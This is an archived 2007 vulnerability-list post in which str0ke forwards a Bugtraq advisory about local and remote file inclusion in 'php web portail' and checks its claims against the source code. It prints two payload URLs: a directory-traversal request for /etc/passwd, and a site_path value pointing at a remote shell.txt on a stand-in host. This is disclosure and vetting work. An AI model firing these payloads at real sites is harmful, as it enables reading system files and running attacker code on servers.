[VIM] Fwd: php web portail [remote file include & local file	include]
    str0ke 
    str0ke at milw0rm.com
       
    Thu Feb  1 16:57:56 EST 2007
    
    
  
The local include doesn't seem right.
/index.php
$site_path="./";
Remote does.
/includes/includes.php
 define("PHPVERSION","php");
//definit le classpath selon la version de php		
if(PHPVERSION =="php5"){
	
	define("CLASS_PATH",$site_path."includes/classes/php5/");
}else{
	define("CLASS_PATH",$site_path."includes/classes/php4/");
	define("PHPVERSION","php");
}	
include_once($site_path."includes/function/function.php");
/str0ke
---------- Forwarded message ----------
From: saps.audit at gmail.com <saps.audit at gmail.com>
Date: 1 Feb 2007 18:52:44 -0000
Subject: php web portail [remote file include & local file include]
To: bugtraq at securityfocus.com
php web portail [remote file include & local file include]
download site: https://sourceforge.net/project/showfiles.php?group_id=178400
product:php web portail
bug: remote file include & local file include
risk : high
local file include :
/index.php?page=../../../../../../../../../../../../../../../../../../../etc/passwd
remote file include :
/includes/includes.php?site_path=http://site.com/shell.txt?%00
laurent gaffié
http://s-a-p.ca/
contact: saps.audit at gmail.com
    
    
More information about the VIM
mailing list